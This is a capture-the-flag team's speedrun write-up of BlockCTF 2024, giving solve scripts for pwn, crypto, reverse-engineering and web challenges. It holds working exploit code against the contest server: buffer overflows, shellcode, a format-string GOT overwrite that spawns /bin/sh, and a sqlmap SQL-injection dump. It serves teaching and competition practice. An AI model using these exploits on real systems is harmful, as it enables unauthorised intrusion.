BlockCTF 2024 100% Speedrun WR (7:38:22)
Table of Contents

BlockCTF 2024 100% Speedrun WR (7:38:22)

Yesterday we participated in BlockCTF 2024, a quick midweek 24-hour jeopardy event. It was a nice change of pace from our usual college app and college grind that we are all busy with now.

In the end, we were not only able to place 1st, but we also full-cleared the event in just 7 hours and 38 minutes!! This left us the remaining 16 hours to make these writeups! We had a great time and thanks a bunch to the organizers for making these chals and being so kind and gracious throughout!

Now here are our speedrun splits for the event:

00:10 - Welcome (Misc)

Ultimate network connectivity speedrun challenge

flag{h0w_m4ny_bl0ckh3ads_d1d_1t_t4k3_t0_run_th1s?}


05:34 - echo (Pwn)

Standard 64 bit buffer overflow with no protections except for NX. They were even so kind as to provide us with a win function 😊

#!/usr/bin/env python3
from pwn import *
 
context.binary = elf = ELF("./echo-app")
p = remote("54.85.45.101", 8008)
p = conn()
 
# solve or else
offset = 0x108
payload = flat([cyclic(offset), elf.sym.print_flag,])
p.sendline(payload)
 
p.interactive()

flag{curs3d_are_y0ur_eyes_for_they_see_the_fl4g}

Solvers:


10:40 - Only Ws (Pwn)

The program reads in 4096 bytes of input and then directly executes it as shellcode. Seccomp restricts us to only using the exit and write syscalls, but luckily the flag is loaded into memory and its address is leaked to us. All we have to do is setup one easy write syscall!

from pwn import *
 
context.arch = 'amd64'
p = remote('54.85.45.101', 8005)
 
p.recvuntil(b'at ')
addr = int(p.recvline().strip(), 16)
 
shellcode = f'''
mov rax, 1
mov rdi, 1
mov rsi, {addr}
mov rdx, 100
syscall
'''
 
p.sendline(asm(shellcode))
p.interactive()

flag{kinda_like_orw_but_only_ws}

Solvers:


26:48 - Where’s Mey Key? (Crypto)

x25519 is implementing a scheme that involves scalar multiplication of a point, hence we can submit a point that is 0 (b\x00*32), and the secret key will be 0 (b’\x00’*32)

> nc 54.85.45.101 8001
> {"client_pub":"0000000000000000000000000000000000000000000000000000000000000000"}
< {"iv": "a4b176cbbc167285a25d81c923e02ac0", "ct": "16eeaae1c55f7cd3ec3b16c91c7c240f6e61b730a3875c114a9775127f721b5b823dc657c067125c3c07058fb1b7"}
data = {"iv": "a4b176cbbc167285a25d81c923e02ac0", "ct": "16eeaae1c55f7cd3ec3b16c91c7c240f6e61b730a3875c114a9775127f721b5b823dc657c067125c3c07058fb1b7"}
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
cipher = Cipher(algorithms.AES(b"\x00"*32), modes.CTR(bytes.fromhex(data["iv"])))
decryptor = cipher.decryptor()
print(decryptor.update(bytes.fromhex(data["ct"])) + decryptor.finalize())

flag{0000_wh0_knew_pub_keys_c0uld_be_bad_0000}

Solvers:


35:13 - echo2 (Pwn)

Almost identical source as the first echo challenge, but this time every protection is enabled. Luckily, the former puts call in echo is now a printf and this logic is wrapped in a while-true loop. This lets us take all the time we need to get leaks and then build our payload. The only leaks necessary are the canary and any ELF address, then it’s another standard buffer overflow!

from pwn import *
 
elf = ELF("./echo-app2")
context.binary = elf
 
def conn():
    if args.GDB:
        script = """
        b *(do_echo+372)
        c
        """
        p = gdb.debug(elf.path, gdbscript=script)
    elif args.REMOTE:
        p = remote("54.85.45.101", 8009)
    else:
        p = process(elf.path)
    return p
 
def run():
    global p
    p = conn()
    
    payload = b'%39$p.%51$p'
    p.sendline(payload)
    
    res = p.recv(33).split(b'.')
    canary = int(res[0], 16)
    elf.address = int(res[1], 16) - elf.symbols['main']
    
    payload2 = b'A'*264 + p64(canary) + b'B'*8 + p64(elf.symbols['print_flag'])
    p.sendline(payload2)
    
    p.interactive()
 
run()

flag{aslr_and_canari3s_are_n0_match_f0r_l3aky_stacks}

Solvers:


37:24 - Glitch in the Crypt: Exploiting Faulty RSA Decryption (Crypto)

This computes, for an input cc, the crt of mp=cdpm_p = c^{d_p} mod\text{mod} pp and mq=cdqm_q = c^{d_q} mod\text{mod} qq, and takes the crt to find m=cdm = c^d mod\text{mod} nn. When there is a fault, it randomizes mpm_p. If this is the case, mm mod\text{mod} pp 0\neq 0, but mm mod\text{mod} qq 0\neq 0, hence q=gcd(mec,n)q = \gcd(m^e - c, n). To exploit this, we submit 0x0 repeatedly to the server, until we get a decryption that is not 0x0:

Send your ciphertext in hex format:
0x0
Decrypted message (hex): 0x44f25fbf6944263697fc1a7fb202cdddfb9ae822a3b405fb46db447a0ca3e6ae95d51ea4ded8d5fca856625459fdc62701b14f5af9bd34e16d38e6535ea928868c0c1435ee9bd87ff36a5cd9e137a531375d40
Note: Fault occurred during decryption.

We can then take the gcd of this and n to get the factorization of the secret key:

from math import gcd
n = 30392456691103520456566703629789883376981975074658985351907533566054217142999128759248328829870869523368987496991637114688552687369186479700671810414151842146871044878391976165906497019158806633675101
q = gcd(0x44f25fbf6944263697fc1a7fb202cdddfb9ae822a3b405fb46db447a0ca3e6ae95d51ea4ded8d5fca856625459fdc62701b14f5af9bd34e16d38e6535ea928868c0c1435ee9bd87ff36a5cd9e137a531375d40, n)
p = n // q
phi = (p-1)*(q-1)
e = 0x10001
d = pow(e, -1, phi)

We then grab a flag encryption from the server:

Send your ciphertext in hex format:
flag
Encrypted flag (hex): 0x3939dad4ba6dfe1d4c203e9c2acfde66493cac762d80114c7f740af92268725b7b16afd060594dd0153b26d7651be7e50061a4149d718e5b51305925dfb237844ee231d418e005aaa0701297c79e9a5e144ab0
Flag length (bytes): 30

And decrypt using our recovered dd:

c = 0x3939dad4ba6dfe1d4c203e9c2acfde66493cac762d80114c7f740af92268725b7b16afd060594dd0153b26d7651be7e50061a4149d718e5b51305925dfb237844ee231d418e005aaa0701297c79e9a5e144ab0
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

flag{cr4ck1ng_RS4_w1th_f4ul7s}

Solvers:


42:37 - Sizer Cipher (Crypto)

After messing around a bit, we can notice the following:

  1. it encrypts pairs of bytes, starting from the end (if odd length first byte is encrypted alone) (also does some weird leading 0 stripping)
  2. the output for 2 chars together is first char * 0x40 + second char

So we write a script to extract mapping for char -> number then decrypt flag

from string import printable
from pwn import *
 
printable = "{}abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
things = {}
 
for i in printable:
    io = remote('54.85.45.101', 8003)
    io.sendline(i)
    things[int(io.recv().strip().decode(), 16)] = i
    io.close()
 
a = "2c01be88c7f52cbdc3c084c7b1313828034370034dd13778342dff"
out = "f"
 
while a:
    n = a[:3]
    out += things[int(n, 16)//0x40] + things[int(n, 16)%0x40]
    a = a[3:]
print(out)

Solvers:


57:07 - 2048 hacker 0 (Pwn)

By some stroke of luck, I had solved a nearly identical challenge in my Binary Exploitation lab a few weeks back. It’s a regular 2048 game where the goal is to reach… 2048! There are no flaws in the implementation of the game itself, but there lies a vulnerability in the printf call that occurs when an invalid command is entered.

image

Unfortunately, our input is read in with getline meaning it will be stored on the heap rather than the stack, preventing us from getting a trivial arbitrary read/write or using pwntools’ fmtstr_payload function. However, we still get infinite printf calls and can use a pointer-chain instead. Also, the lack of PIE lets us directly write any addresses we may want to read or write onto the stack using %{value}c%{offset}lln as the addresses are so small and all the characters can be reasonably written in one go.

In situations like this, my go-to pointer chain is that of argv which then points to the program name. This is easy to recognize even just by looking at a dump of pointers as it is usually the most repeated stack pointer closest to the top of the stack.

image

You can also always double check this using a combination of %p and %s. In this case:

  • %31$p = stack pointer to argv
  • %31$s = stack pointer to program name
  • %61$p = stack pointer to program name
  • %61$s = program name string

Now that we know that offset 31 points to offset 61 the rest is easy. I first wrote the address of the FLAG global variable to 31 and then leaked it using 61 which gave me the actual address of the flag string on remote.

%{elf.symbols['FLAG']}c%31$lln
%61$s

This turned out to always be 0x404018 (4210712 in decimal), so we can do the same to get the flag.

%4210712c%31$lln
%61$s

flag{u_r_b3st_numb3r_0ne_f4st3st_2048_champi0n_0f_all_tim3}

Solvers:


1:15:45 - 2048 hacker 1 (Pwn)

The challenge file is identical to 2048 hacker 0, but this time we must get a shell. We already have our pointer chain to use from the first challenge making this quite simple. First we’ll need a libc leak in order to get the address of something more useful like system or a one_gadget. Also, we were not provided a libc file, so we first leaked some known libc addresses and then used https://libc.rip/ to find the version was 2.35.

Next, we need to decide where to write this. Fortunately enough, the binary only has Partial RELRO allowing us to attack any of the GOT entries. These are also much more desirable to utilize as their addresses are small and like last time can be written in one go, if we wanted to write somewhere like libc this would take some extra work.

image

I eventually chose to target free’s GOT entry as it was called with a single argument, our input, and it was only called if we typed in q to quit. This is important as it lets us write our desired address using multiple writes which decreases the complexity of our payloads.

Here’s my final script that leaks libc and then writes the address of system to free’s GOT entry 2 bytes at a time. To get a shell all we have to do is type something like: q;/bin/sh

from pwn import *
 
elf = ELF("./2048-hacker-solvable-distr.out")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
 
def conn():
    if args.GDB:
        script = """
        b main
        c
        """
        p = gdb.debug(elf.path, gdbscript=script)
    elif args.REMOTE:
        p = remote("54.85.45.101", 8007)
    else:
        p = process(elf.path)
    return p
 
def run():
    global p
    p = conn()
    
    p.sendline(f'%{elf.got.printf}c%31$lln'.encode())
    p.sendline(b'%61$s')
    p.recvuntil(b'Invalid command\n')
    p.recvuntil(b'Invalid command\n')
    libc.address = u64(p.recvline().strip().ljust(8, b'\x00')) - libc.symbols['printf']
    
    to_write = libc.symbols['system']
    for i in range (4):
        p.sendline(f'%{elf.got.free + (i*2)}c%31$lln'.encode())
        if to_write & 0xffff == 0:
            p.sendline(b'%61$hn')
        else:
            p.sendline(f'%{to_write & 0xffff}c%61$hn'.encode())
        to_write >>= 16
    
    p.sendline(b'q;/bin/sh')
    
    p.interactive()
 
run()

flag{s00p3r_d00p3r_h4cker_sup3ri0rity}

Solvers: ,


1:20:10 - Nothin But Stringz (Rev)

Download the nothin_but_stringz.c.o

nothin_but_stringz.c.o: LLVM bitcode, wrapper

Judging by the file name, we strings the file:

b
 0$JY
P$v`
f$c0
fLg0
r2H #
(d<12B
SDK Versionwchar_sizePIC Leveluwtableframe-pointerApple clang version 15.0.0 (clang-1500.3.9.4)
@03
   G
C$3
   L
A00 )`
.strflag.str.1mainprintf18.1.8arm64-apple-ios7.0.0nothin_but_stringz.c_main_printfL_.str_flagL_.str.1

And of course nothing interesting in there. Tried to use objdump:

/Applications/Xcode-beta.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/objdump: error: 'nothin_but_stringz.c.o': The file was not recognized as a valid object file

Was not it. Doing some research online you can find to decompile the LLVM bitcode you need the llvm-dis. And then it would output a ll file:

; ModuleID = 'nothin_but_stringz.c.o'
source_filename = "nothin_but_stringz.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-ios7.0.0"
 
@.str = private unnamed_addr constant [40 x i8] c"flag{al1_th3_h0miez_l0v3_llvm_643e5f4a}\00", align 1
@flag = global ptr @.str, align 8
@.str.1 = private unnamed_addr constant [25 x i8] c"The flag begins with %c\0A\00", align 1
 
; Function Attrs: noinline nounwind optnone ssp uwtable(sync)
define i32 @main() #0 {
  %1 = alloca i32, align 4
  store i32 0, ptr %1, align 4
  %2 = load ptr, ptr @flag, align 8
  %3 = getelementptr inbounds i8, ptr %2, i64 0
  %4 = load volatile i8, ptr %3, align 1
  %5 = sext i8 %4 to i32
  %6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %5)
  ret i32 0
}
 
declare i32 @printf(ptr noundef, ...) #1
 
attributes #0 = { noinline nounwind optnone ssp uwtable(sync) "frame-pointer"="non-leaf" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="apple-a7" "target-features"="+aes,+crypto,+fp-armv8,+neon,+sha2,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="apple-a7" "target-features"="+aes,+crypto,+fp-armv8,+neon,+sha2,+v8a,+zcm,+zcz" }
 
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
 
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 14, i32 4]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 15.0.0 (clang-1500.3.9.4)"}

And flag: flag{al1_th3_h0miez_l0v3_llvm_643e5f4a}

Solvers:


1:20:31 - I Have No Syscalls And I Must Scream (Pwn) 🩸

I Have No Syscalls And I Must Scream was the second hardest pwn challenge (by point value) in Block CTF 2024. As of writing, it has 25 solves, of which we (.;,;.) were the first solve.

This was a fairly straightforward shellcoding problem. The binary first writes the flag to a randomly-generated address in memory. Next, it prompts the user to input the syscall number of the syscall they wanted to use. Afterwards, it would prompt the user for shellcode, and then execute the shellcode. The challenge adds some seccomp rules to prevent the user from accessing any syscalls other than the syscall selected (and exit).

The flag is written at a randomly-generated address within a page mmap’ed at a random address in memory. That address is some offset away from HAYSTACK (0x4200000). When asked to write out content from an invalid address in memory, write will return EFAULT instead of segfaulting/otherwise crashing. Therefore, we can use write as an oracle to find the page in memory where the flag has been stored. Since there are no “dummy pages” between HAYSTACK and the flag page where the flag is not stored, we can repeatedly call write on each possible page location above HAYSTACK. If write is successful (it returns a non-zero number of bytes), then we have found the page where the flag has been written

We start at HAYSTACK and attempt to write out one byte. If the write was unsuccessful, then we increment the write source by 0x1000 and try again. If the write was successful, then we write out the entire page we found (which should just be the flag and a bunch of 0s).

#!/usr/bin/python3
from pwn import *
from keystone import *
 
context.terminal = ["gnome-terminal", "--execute"]
 
 
 
ks = Ks(KS_ARCH_X86, KS_MODE_64)
 
def compile_shellcode(shellcode) :
    result = bytearray()
    for instruction in shellcode : 
        encoding, _ = ks.asm(instruction)
        for byt in encoding : 
            result.append(byt)
    return result
 
shellcode = []
# set up our oracle
shellcode_start = 0x690000
shellcode.append("mov rsi, 0x4200000")
shellcode.append("add rsi, 0x1000")
shellcode.append("mov rax, 1")
shellcode.append("mov rdi, 1")
shellcode.append("mov rdx, 1")
shellcode.append("syscall")
shellcode.append("cmp rax, 1")
shellcode.append("je 0xa")
old_len = len(compile_shellcode(shellcode))
shellcode.append("mov rbx, 0x690007")
shellcode.append("jmp rbx")
print("Len: " + str(len(compile_shellcode(shellcode)) - old_len))
#do the syscall
shellcode.append("mov rdx, 0x1000")
shellcode.append("syscall")
 
#sock = process(argv=["./ihnsaims", "jflaskdjflksadjflkasdjfsdfoiwu"])
#gdb.attach(sock)
sock = remote("54.85.45.101", 8002)
 
raw_input("hey")
sock.sendlineafter("pick a number", str(1))
 
compiled_shellcode = compile_shellcode(shellcode)
sock.sendlineafter("execute!", compiled_shellcode)
sock.recvuntil("luck!\n")
output = sock.recv()
print(output.hex())
sock.interactive()

The challenge title is inspired by the sci-fi horror novel I Have No Mouth, and I Must Scream. Kudos to the challenge author for being an avid reader!

Solvers: ,


1:58:30 - Red Flags (Rev) 🩸

Using GDRE Tools, we can extract the entire Godot project. Looking at the source, we see this script in arena.tscn:

extends Node2D
 
var flags
# Called when the node enters the scene tree for the first time.
func _ready():
    flags = get_children().filter(func(child): return child.name.match("Flag_*"))
 
func hex_byte_to_int(c):
    if c >= 0x30 && c <= 0x39:
        return c - 0x30
    else:
        return c - 0x37
 
# Called every frame. 'delta' is the elapsed time since the previous frame.
func _process(delta):
    var states = []
    for flag in flags:
        states.append(int(flag.target_state))
    var flaggregate = "".join(states)
    var sha = flaggregate.sha1_text().to_upper()
    sha += flaggregate.md5_text().to_upper()
    var chars = %FlagText.get_children()
    for i in chars.size():
        chars[i].target_x = hex_byte_to_int(sha.unicode_at(i * 2)) - 8
        chars[i].target_y = hex_byte_to_int(sha.unicode_at((i * 2) + 1)) - 8

There are 1024 unique possible states since there are 10 “Flag_*” objects, so we can brute force all possible states and pick the one where the characters lie close together on the Y axis.

from hashlib import sha1, md5
 
def hex_byte_to_int(c):
    if c >= 0x30 and c <= 0x39:
        return c - 0x30
    else:
        return c - 0x37
 
chars = []
arena = open('arena.tscn', 'r').read().split('\n')[151:]
for i in range(30):
    chunk = arena[i*9:i*9+9]
    x = float(chunk[1].split()[-1])
    y = float(chunk[2].split()[-1])
    text = eval(chunk[5].split()[-1])
    # print(x, y, text)
    chars.append((x, y, text))
 
S = 50
for i in range(2**10):
    b = bin(i)[2:].zfill(10)
    sha = sha1(b.encode()).hexdigest().upper().encode()
    sha += md5(b.encode()).hexdigest().upper().encode()
 
    X, Y = [], []
    for i in range(30):
        X.append(hex_byte_to_int(sha[i * 2]) - 8)
        Y.append(hex_byte_to_int(sha[i * 2 + 1]) - 8)
 
    chars_moved = []
    for i, (x, y, text) in enumerate(chars):
        chars_moved.append((x + X[i] * S, y + Y[i] * S, text))
    
    chars_moved_y = [y for x, y, text in chars_moved]
    if max(chars_moved_y) - min(chars_moved_y) < 100:
        # print(b)
        chars_moved.sort(key=lambda x: x[0]) # left to right
        print(''.join([text for x, y, text in chars_moved]))

This gives our flag: flag{now_wishlist_me_on_steam}

Solvers:


2:03:56 - Juggl3r (Web)

The description provide a link to http://54.85.45.101:8080/. It redirect us to http://54.85.45.101:8080/login.php with a classic login. Screenshot 2024-11-13 at 10.32.47 PM Initially we suspect it’s something about apache(Apache/2.4.54 ). However looking at the title we know it’s a php juggler thing. By sending a array in the password we can reasonaly assume the structure like this:

(hash('sha256', $_POST['password']) == $stored_hash)

Screenshot 2024-11-13 at 10.33.15 PM Where if we try to make hash start with 0e, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations as referenced on Here, it is also called Magic Hashes.

So we just submited TyNOQHUS as the password, which redirects us to /admin.php?user_id=1 . Then uses user_id[]=1 we can see this errorScreenshot 2024-11-13 at 10.33.26 PM which tells us it’s a SQL injection. The rest is eazy sqlmap and flag! sqlmap -r ./a.txt --level 5 --risk 3 --tamper=charencode -T flags -C flag --dump Screenshot 2024-11-13 at 10.41.35 PM

flag{juggl3_inject}

Solvers: , , ZeroDayTea


2:18:56 - An Elf on a Shelf (Rev)

The bounds of the inner image are (215, 215, 335, 333). Looking at the inner image itself, we notice the top right corner has b'\x7fELF right-to-left. We can then extract the entire ELF like so:

from PIL import Image
 
img = Image.open('elf.png')
bounds = (215, 215, 335, 333)
 
crop = img.crop(bounds)
# crop.save('extract.png')
 
# 2 by 2 blocks
block_size = 2
 
dat = []
# start from top right, go left to right, top to bottom
for y in range(0, crop.height, block_size):
    for x in range(crop.width - block_size, -1, -block_size):
        block = crop.crop((x, y, x + block_size, y + block_size))
        byt = block.getpixel((0, 0))
        r, g, b, _ = byt
        dat.extend([r, g, b])
 
open('dump.bin', 'wb').write(bytes(dat))

Then, after reversing the binary, we see that it is embedding the flag into the red pixels of elf.png after passing through an SBOX. We can extract the sbox and the red pixels and then reverse the sbox to get the flag.

from PIL import Image
 
img = Image.open('elf.png')
 
sbox = b"\xae\'\xb1\x8dw\x19\xa4o\xb0H\x91\xf8\x16i\xee\xf60\xd2\xda\xaa.\x88]c9\xcf\x17\xe1\xb5\xe2<\x1a\xac>\x07\x8e\xcdv?8\xb6~\xf0\xc7\x97\xad\x82R\xfa\xdc\xde\x86\xf5)X|\xfbZ5\xf4-\xe9\x8b\x0b\x12\xc4\x83\x8a\xb8\xd6\x0c\x1cN\xe3!T,\xca\x9ap\xbb\x06\xab\xe7Y^\xfd\xffU\x8f\x0e\xe4\xc54\x8cq\xcehr\tL\x01Q\xfclIK\x1b\xd5\xb9\x7fM\x85\x0f\xc6\xdb\x1d\xaf\x95d\x90W\n\xa5\x04\xfeP\xbc\x10{u\x9c\xa0}\xdd\xe8\x1f\xc81x\x81\xd9`\xcc\xedS#\xb2_\x9b\x9d\x94\x14\x05z\xc1[\x80\xdf&(\xa1\xef\xb4\x99%*J\x98:\x89\x03G\xc2k\xc3\\\xa7\x02\xf1\xd7@\xf9\xd0/\xc06\xd4Esj\xb3a\xd1Agn \x96B\"7\x15V\xbaD\x18F\xcb\x1e3\xd8\xa6\x00\x92\xeb=$+b\xec\x13\xe5\x84\xe0e\x9f\xe6\xf3\xf2\xb7O\x93\xbf\xf7\xd3\xeam\x872f\x08\r\xc9\xa2C\xa8yt\xbd\x11\xbe\xa9\x9e;\xa3"
 
inv_sbox = [sbox.index(i) for i in range(256)]
 
x = 0x40
y = img.height - 0x40
 
bits = []
for i in range(0x10):
    for j in range(0x10):
        r = img.getpixel((x + j, y + i))[0]
        bits.append(r & 1)
 
byts = [int(''.join(map(str, bits[i:i+8])), 2) for i in range(0, len(bits), 8)]
byts = bytes([inv_sbox[i] for i in byts])
print(byts)

Solvers:


2:54:19 - WannaLaugh (Rev) 🩸

We are only interested in the most recent layer of the Docker image, so we can extract b174a0967b592f30503d3a16a04f1f145f010625aa999a28ff7b2bbdb247a96f from the blobs and look at it seperately.

Since it is a Docker image, this file is a POSIX tar image, and extracting gives us two files, flag.txt.enc and ransom.

Reversing ransom, we see it uses srand(time(null)) to generate a random AES key and IV. Thankfully, since tar preserves file modification date, we can recover the time the file was created like so:

$ tar --full-time -tvf dump.tar
drwxr-xr-x 0/0               0 2024-09-04 09:12:18 usr/
drwxr-xr-x 0/0               0 2024-09-04 09:12:18 usr/local/
drwxr-xr-x 0/0               0 2024-10-23 19:59:04 usr/local/src/
-rw-r--r-- 0/0            1392 2024-10-23 19:59:04 usr/local/src/flag.txt.enc
-rwxr-xr-x 0/0           73960 2024-10-23 19:59:04 usr/local/src/ransom

We can then take that time and use it to regenerate the key and IV to decrypt the flag

from ctypes import CDLL
import datetime
from Crypto.Cipher import AES
 
libc = CDLL("libc.so.6")
 
def generate_random_bytes(seed, n):
    libc.srand(seed)
    result = b""
 
    # for _ in range(n):
    #     x0_1 = libc.rand()
    #     x1 = -x0_1
 
    #     if x1 < 0:
    #         x2_1 = x0_1 & 0xff
    #     else:
    #         x2_1 = (-x1 & 0xff)
 
    #     result += bytes([x2_1 & 0xff])
    result = bytes([libc.rand() & 0xff for _ in range(n)])
    
    return result
 
# 2024-10-23 19:59:04
time = datetime.datetime(2024, 10, 23, 19, 59, 4)
time = round(time.timestamp())
 
key = generate_random_bytes(time, 32)
iv = generate_random_bytes(time, 16)
enc = open('flag.txt.enc', 'rb').read()
 
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(enc)
print(flag.decode())

Running this prints out the flag

⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣷⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⠀⠀⠀⠀⠀
⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀
⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠟⠿⠿⡿⠀⢰⣿⠁⢈⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀
⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣤⣄⠀⠀⠀⠈⠉⠀⠸⠿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⢠⣶⣶⣤⡀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⡆
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠼⣿⣿⡿⠃⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⢀⣀⣀⠀⠀⠀⠀⢴⣿⣿⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⢿⣿⠁⠀⠀⣼⣿⣿⣿⣦⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⡿
⠸⣿⣿⣿⣿⣿⣿⣏⠀⠀⠀⠀⠀⠛⠛⠿⠟⠋⠀⠀⠀ ⣾⣿⣿⣿⣿⣿⣿⣿⠇
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⣤⡄⠀⣀⣀⣀⣀⣠⣾⣿⣿⣿⣿⣿⣿⣿⡟⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣄⣰⣿⠁⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀
⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀
⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⠿⢿⣿⣿⣿⣿⡿⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
 
flag{D0nT_cRy_n0-M0re}

Solvers:


3:00:45 - 2048 ai (Misc)

This challenge is very similar to the pwn challenges, but there are no vulnerabilities to exploit. We must simply reach 2048 in a legitimate manner, the only caveat being that we have a timeout, so we must do it quickly with a script.

At first I tried to do a bruteforcey solution where I would spam s and a, typically the safest moves, and only use d or w when absolutely necessary, but this only resulted in a high of 512 and the board would get quickly cluttered. Eventually, I caved and used an AI solution as the challenge name intended.

I utilized the following tool: https://github.com/nneonneo/2048-ai. The setup was very simple as it was just a single python script to run and using its manual mode, it would receive the board state line by line and print out the next best move. Then, individual adjustments can be made on where the new block appears, but I instead opted to rerun the script everytime which was possible due to the VERY generous timeout. The rest was just some parsing and prompting the script.

from pwn import *
 
p = remote('54.85.45.101', 8006)
 
moves = {b'left': b'a', b'down': b's', b'right': b'd', b'up': b'w'}
 
for _ in range(10000):
    board = p.recvuntil(b'Enter', drop=True)
    if board.count(b'1024') > 1:
        print(board.decode())
        print("WIN")
        break
    if _ % 10 == 0:
        print(board.decode())
    board = board.strip().split(b'\n')
    p.recvuntil(b': ')
    board = [i.strip().replace(b'     ', b' ') for i in board]
 
    s = process(['python3', '2048.py', '-b', 'manual'], cwd='2048-ai')
    for i in board:
        s.sendline(i)
    s.sendline()
    s.recvuntil(b'EXECUTE MOVE: ')
    move = s.recvline().strip()
    s.close()
 
    p.sendline(moves[move])
    
p.interactive()

flag{f4st3r_th4n_hum4nly_p0ssibl3}

Solvers:


3:00:58 - Flower App (Rev) 🩸

Looking through the binary, we notice three suspicious base64 strings. image

Then in the flowerapp.load function, we see it initializes some data with initWithBase64EncodedString, probably the three strings from earlier.

Going down through that function, we eventually get a call to CCCrypt. With a bit of googling, it turns out CCCrypt is just AES-CBC. Decoding the base64 strings shows that the first string is 32 bytes long and the second string is 16 bytes long, clearly the key and IV.

We can then just decrypt the last string which is just the encrypted flag.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
 
key = 'qQwrmkzuhJv6fzCF2XsxuaB+ZBtMEH+Cd3fpTgJpEM8='
iv = 'FjmNRmlNzMZYK8TbIItuVA=='
enc = '8XvXFKhm8YFfQShtVXcNZh5F8q0zBJMTnfBSh33SEr8r4hMWb/E2VJq20QO2Byef'
 
key = base64.b64decode(key)
iv = base64.b64decode(iv)
enc = base64.b64decode(enc)
 
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = cipher.decrypt(enc)
 
print(unpad(flag, 16).decode())

The decrypted flag is flag{congrats_on_swiftly_decoding_this}

Solvers:


3:03:01 - go-moth (Web) 🩸

Challenge description contains only a URL to http://54.85.45.101:8004/.

Opening it, we see a mostly blank page with a (bad) quote, and a footer filled with various links. Off to the side, there’s a GitHub icon though, maybe that will give us more information.

Challenge website

https://github.com/alokmenghrajani/go-moth

Looks like the source of the challenge!

Looking through the source, we can see the main code where the quotes are coming from: api/moth.go

func (s *state) mothHandler(w http.ResponseWriter, r *http.Request) {
    hours, _, _ := time.Now().Clock()
    moth := s.plaintextMoths[hours%len(s.plaintextMoths)]
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Cache-Control", "max-age=3600")
    fmt.Fprint(w, utils.MustMarshal(mothResponse{Moth: moth}))
}

Where’s state coming from, and what’s plaintextMoths, though?

api/api.go

type state struct {
    ...
    encryptedMoths [][]byte
    plaintextMoths []string
}
...
func Start() {
    ...
    mothRaw := utils.MustRead(staticContent, "moth.json")
    json.Unmarshal(mothRaw, &s.encryptedMoths)
 
    for i := 0; i < len(s.encryptedMoths); i++ {
        plaintext := utils.Decrypt(s.encryptedMoths[i])
        s.plaintextMoths = append(s.plaintextMoths, string(plaintext))
    }
    ...
}

Ok, so it reads from moth.json. Opening moth.json on GitHub, we see there was a commit saying “Oops, we forgot the flag.” and it adds a 24th element to the array.

GitHub commit

But wait, going back to how it’s used in moth.go, it’s indexed by hours in the day:

moth := s.plaintextMoths[hours%len(s.plaintextMoths)]

You might know time goes to 23:59:59 before going to 0:00:00. There is no 24th hour, so we will never see the plaintextMoth corresponding to the flag. This is when we shifted focus to other parts of the source.

Maybe focusing on how it encrypts and decrypts will help? api.go was calling decrypt from utils, how does it decrypt? Opening utils.go we see this:

//go:embed aes.key
var AesKey []byte
 
func Encrypt(plaintext []byte) []byte {
    for len(plaintext)%aes.BlockSize != 0 {
        plaintext = append(plaintext, 0)
    }
 
    blockCipher, err := aes.NewCipher(AesKey)
    PanicOnErr(err)
 
    cbcEncrypter := cipher.NewCBCEncrypter(blockCipher, make([]byte, aes.BlockSize))
    ciphertext := make([]byte, len(plaintext))
    cbcEncrypter.CryptBlocks(ciphertext, plaintext)
